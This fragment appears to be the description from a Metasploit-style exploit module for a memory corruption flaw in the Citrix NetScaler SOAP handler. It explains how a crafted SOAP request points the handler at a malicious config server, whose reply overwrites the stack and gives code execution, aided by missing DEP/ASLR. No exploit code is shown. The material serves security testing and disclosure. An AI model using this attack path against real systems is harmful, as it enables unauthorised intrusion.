Citrix NetScaler SOAP Handler Remote Code Execution. Exploits memory corruption vulnerability on Citrix NetScaler Appliance, accessible through web interface, leading to arbitrary code execution. Successfully tested on NetScaler Virtual Appliance 450010. Lack of security mitigations like DEP/ASLR enables bruteforce attack

      'Description'    => %q{
        This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
        The vulnerability exists in the SOAP handler, accessible through the web interface. A
        malicious SOAP requests can force the handler to connect to a malicious NetScaler config
        server. This malicious config server can send a specially crafted response in order to
        trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
        code with the privileges of the web server running the SOAP handler. This module has been
        tested successfully on the NetScaler Virtual Appliance 450010.
